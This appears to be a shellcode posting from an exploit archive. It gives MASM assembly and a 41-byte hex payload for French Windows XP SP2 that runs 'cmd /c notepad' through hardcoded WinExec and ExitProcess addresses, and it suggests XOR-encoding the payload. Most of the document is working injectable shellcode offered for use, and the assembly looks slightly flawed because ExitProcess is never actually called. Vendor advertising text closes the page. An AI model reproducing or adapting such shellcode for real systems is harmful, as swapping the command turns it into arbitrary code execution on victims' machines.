========================================
win32/xp sp2 (fr) notepad.exe 41 bytes
========================================
windows xp-sp2 (fr) notepad.exe 41 bytes
author opt!x hacker
######################################################"
in this shellcode I use 2 API finded in kernel32.dll:in windows XP SP2
(fr):
WinExec: 0x7C8615B5
ExitProcess : 0x7C81CA82
######################################################"
here is assembly code using MASM32:
##################################################"
.386
.model flat, stdcall
option casemap:none
include windows.inc
.data
.code
code:
xor edx, edx
mov edx, 7C8615B5h
call edx
xor edx, edx
mov edx, 7C81CA82h
data:
call code
db 'cmd /c notepad'
end data
##############################################################"
and this is the shellcode you have just to encode it with xor an
encoder,but it's working with me without encoding :
"\xE9\x10\x00\x00\x00\x31\xD2\xBA\xB5\x15\x86\x7C\xFF\xD2\x31\xD2\xBA\x82\x
CA\x81\x7C\xE8\xEB\xFF\xFF\xFF\x63\x6D\x64\x20\x2F\x63\x20\x6E\x6F\x74\x65\
x70\x61\x64\x00"
# 0day.today [2018-01-10] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation